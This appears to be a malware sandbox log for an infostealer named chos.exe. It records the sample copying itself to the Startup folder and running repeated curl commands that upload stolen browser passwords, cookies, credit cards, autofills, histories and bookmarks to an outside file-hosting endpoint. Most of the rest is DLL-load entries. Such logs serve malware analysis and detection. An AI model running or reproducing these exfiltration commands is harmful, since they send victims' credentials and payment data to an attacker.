Source: C:\Users\user\Desktop\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Users\user\Desktop\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile
Source: unknownProcess created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe"
Source: C:\Users\user\Desktop\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile
Source: C:\Users\user\Desktop\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeProcess created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe"
Source: C:\Users\user\Desktop\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile
Source: C:\Users\user\Desktop\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile
Source: C:\Users\user\Desktop\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile
Source: C:\Windows\System32\tasklist.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile
Source: C:\Users\user\Desktop\chos.exeProcess created: C:\Users\user\Desktop\chos.exe "C:\Users\user\Desktop\chos.exe"Jump to behavior
Source: C:\Users\user\Desktop\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"Jump to behavior
Source: C:\Users\user\Desktop\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile"Jump to behavior
Source: C:\Users\user\Desktop\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile"Jump to behavior
Source: C:\Users\user\Desktop\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile"Jump to behavior
Source: C:\Users\user\Desktop\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile"Jump to behavior
Source: C:\Users\user\Desktop\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile"Jump to behavior
Source: C:\Users\user\Desktop\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile"Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklistJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFileJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeProcess created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe" Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFileJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFileJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile"Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile"Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile"Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile"Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile"Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile"Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile
Source: C:\Users\user\Desktop\chos.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\Desktop\chos.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\Desktop\chos.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\Desktop\chos.exeSection loaded: vcruntime140.dllJump to behavior
Source: C:\Users\user\Desktop\chos.exeSection loaded: libffi-8.dllJump to behavior
Source: C:\Users\user\Desktop\chos.exeSection loaded: propsys.dllJump to behavior
Source: C:\Users\user\Desktop\chos.exeSection loaded: vcruntime140_1.dllJump to behavior
Source: C:\Users\user\Desktop\chos.exeSection loaded: libcrypto-3.dllJump to behavior
Source: C:\Users\user\Desktop\chos.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\user\Desktop\chos.exeSection loaded: libssl-3.dllJump to behavior
Source: C:\Users\user\Desktop\chos.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Users\user\Desktop\chos.exeSection loaded: sqlite3.dllJump to behavior
Source: C:\Users\user\Desktop\chos.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Users\user\Desktop\chos.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Users\user\Desktop\chos.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Users\user\Desktop\chos.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Users\user\Desktop\chos.exeSection loaded: fwpuclnt.dllJump to behavior
Source: C:\Users\user\Desktop\chos.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\Desktop\chos.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\Users\user\Desktop\chos.exeSection loaded: dpapi.dllJump to behavior
Source: C:\Users\user\Desktop\chos.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: mpr.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: framedynos.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: dbghelp.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: wbemcomn.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: winsta.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\tasklist.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: fwpuclnt.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: schannel.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: mskeyprotect.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: ntasn1.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: ncrypt.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: ncryptsslp.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: fwpuclnt.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: schannel.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: mskeyprotect.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: ntasn1.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: ncrypt.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: ncryptsslp.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: fwpuclnt.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: schannel.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: mskeyprotect.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: ntasn1.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: ncrypt.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: ncryptsslp.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeSection loaded: vcruntime140.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeSection loaded: libffi-8.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeSection loaded: propsys.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeSection loaded: vcruntime140_1.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeSection loaded: libcrypto-3.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeSection loaded: libssl-3.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeSection loaded: sqlite3.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeSection loaded: fwpuclnt.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeSection loaded: dpapi.dllJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: secur32.dll
Source: C:\Windows\System32\curl.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\curl.exeSection loaded: iphlpapi.dll
Source: C:\Windows\System32\curl.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\curl.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\curl.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\curl.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\curl.exeSection loaded: secur32.dll
Source: C:\Windows\System32\curl.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\curl.exeSection loaded: iphlpapi.dll
Source: C:\Windows\System32\curl.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\curl.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\curl.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\curl.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\curl.exeSection loaded: secur32.dll
Source: C:\Windows\System32\curl.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\curl.exeSection loaded: iphlpapi.dll
Source: C:\Windows\System32\curl.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\curl.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\curl.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\curl.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exeSection loaded: version.dll
Source: C:\Windows\System32\tasklist.exeSection loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exeSection loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exeSection loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exeSection loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exeSection loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exeSection loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exeSection loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exeSection loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exeSection loaded: profapi.dll
Source: C:\Windows\System32\curl.exeSection loaded: secur32.dll
Source: C:\Windows\System32\curl.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\curl.exeSection loaded: iphlpapi.dll
Source: C:\Windows\System32\curl.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\curl.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\curl.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\curl.exeSection loaded: mswsock.dll
Source: C:\Windows\System32\curl.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\curl.exeSection loaded: dnsapi.dll
Source: C:\Windows\System32\curl.exeSection loaded: rasadhlp.dll
Source: C:\Windows\System32\curl.exeSection loaded: fwpuclnt.dll
Source: C:\Windows\System32\curl.exeSection loaded: schannel.dll
Source: C:\Windows\System32\curl.exeSection loaded: mskeyprotect.dll
Source: C:\Windows\System32\curl.exeSection loaded: ntasn1.dll
Source: C:\Windows\System32\curl.exeSection loaded: ncrypt.dll
Source: C:\Windows\System32\curl.exeSection loaded: ncryptsslp.dll
Source: C:\Windows\System32\curl.exeSection loaded: secur32.dll
Source: C:\Windows\System32\curl.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\curl.exeSection loaded: iphlpapi.dll
Source: C:\Windows\System32\curl.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\curl.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\curl.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\curl.exeSection loaded: mswsock.dll
Source: C:\Windows\System32\curl.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\curl.exeSection loaded: dnsapi.dll
Source: C:\Windows\System32\curl.exeSection loaded: rasadhlp.dll
Source: C:\Windows\System32\curl.exeSection loaded: fwpuclnt.dll
Source: C:\Windows\System32\curl.exeSection loaded: schannel.dll
Source: C:\Windows\System32\curl.exeSection loaded: mskeyprotect.dll
Source: C:\Windows\System32\curl.exeSection loaded: ntasn1.dll
Source: C:\Windows\System32\curl.exeSection loaded: ncrypt.dll
Source: C:\Windows\System32\curl.exeSection loaded: ncryptsslp.dll
Source: C:\Windows\System32\curl.exeSection loaded: secur32.dll
Source: C:\Windows\System32\curl.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\curl.exeSection loaded: iphlpapi.dll
Source: C:\Windows\System32\curl.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\curl.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\curl.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\curl.exeSection loaded: mswsock.dll
Source: C:\Windows\System32\curl.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\curl.exeSection loaded: dnsapi.dll
Source: C:\Windows\System32\curl.exeSection loaded: rasadhlp.dll
Source: C:\Windows\System32\curl.exeSection loaded: fwpuclnt.dll
Source: C:\Windows\System32\curl.exeSection loaded: schannel.dll
Source: C:\Windows\System32\curl.exeSection loaded: mskeyprotect.dll
Source: C:\Windows\System32\curl.exeSection loaded: ntasn1.dll
Source: C:\Windows\System32\curl.exeSection loaded: ncrypt.dll
